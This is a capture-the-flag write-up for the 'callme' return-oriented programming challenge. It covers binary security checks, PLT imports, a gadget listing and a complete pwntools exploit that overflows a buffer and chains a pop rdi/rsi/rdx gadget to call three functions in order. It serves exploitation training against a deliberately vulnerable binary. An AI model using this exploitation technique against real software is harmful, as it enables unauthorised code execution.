Writeup
Firstly we need to check the security of the binary :
$ rabin2 -I callme
arch x86
baddr 0x400000
binsz 11375
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath ./
sanitiz false
static false
stripped false
subsys linux
va true
As always the binary has PIC
disabled, and in this case we have an encrypted flag and two keys.
Surely we can crack the crypto algorithm used by the binary very easily, but it’s not the scope of the challenge.
In this case we need to call in this order callme_one(1, 2, 3), callme_two(1, 2, 3), callme_three(1, 2, 3)
(read description of the challenge).
So the first thing is to check if this functions are in the PLT
:
$ rabin2 -i callme
[Imports]
Num Vaddr Bind Type Name
1 0x00000000 WEAK NOTYPE _ITM_deregisterTMCloneTable
2 0x004017f0 GLOBAL FUNC puts
3 0x00401800 GLOBAL FUNC printf
4 0x00401810 GLOBAL FUNC callme_three
5 0x00401820 GLOBAL FUNC memset
6 0x00401830 GLOBAL FUNC __libc_start_main
7 0x00401840 GLOBAL FUNC fgets
8 0x00401850 GLOBAL FUNC callme_one
9 0x00000000 WEAK NOTYPE __gmon_start__
10 0x00401860 GLOBAL FUNC setvbuf
11 0x00401870 GLOBAL FUNC callme_two
12 0x00000000 WEAK NOTYPE _Jv_RegisterClasses
13 0x00401880 GLOBAL FUNC exit
14 0x00000000 WEAK NOTYPE _ITM_registerTMCloneTable
Luckily yes so we don’t have to bypass ASLR
and call them from the given library in memory.
Then we need to check what gadgets are in the binary to setup a ROP chain, (we need a gadget with rdi,rsi and rdx):
$ [INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000401984: add byte ptr [rax - 0x7b], cl; sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax;
0x0000000000401982: add byte ptr [rax], al; add byte ptr [rax - 0x7b], cl; sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax;
0x0000000000401aa9: add byte ptr [rax], al; nop dword ptr [rax + rax]; pop rdi; pop rsi; pop rdx; ret;
0x0000000000401aae: add byte ptr [rax], al; pop rdi; pop rsi; pop rdx; ret;
0x0000000000401aad: add byte ptr [rax], r8b; pop rdi; pop rsi; pop rdx; ret;
0x0000000000401aa0: jmp qword ptr [rsi + 0x2e];
0x0000000000401aab: nop dword ptr [rax + rax]; pop rdi; pop rsi; pop rdx; ret;
0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret;
0x0000000000401b21: pop rsi; pop r15; ret;
0x0000000000401ab1: pop rsi; pop rdx; ret;
0x0000000000401987: sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax;
We’re very lucky and we have a single gadget 0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret;
that we can use to pass to the registers values on the stack.
Now the ROP chain is trivial.
Exploit
#!/usr/bin/env python3
from pwn import *
import os
chunk = b'a' * 40 # buf[0x20] + rbp(0x8) = 0x28 = 40
pop = p64(0x0401ab0) # pop rdi; pop rsi; pop rdx; ret
callme_one = p64(0x00401850) # rabin2 -i callme
callme_two = p64(0x00401870)
callme_three = p64(0x00401810)
args = p64(0x1) + p64(0x2) + p64(0x3)
payload = chunk + pop + args + callme_one
payload += pop + args + callme_two
payload += pop + args + callme_three
conn = process('./callme')
log.info(conn.recvuntil('> '))
conn.sendline(payload)
log.info(conn.recv())
conn.close()
with open("out.txt", "wb") as out:
out.write(payload)
Flag
ROPE{a_placeholder_32byte_flag!}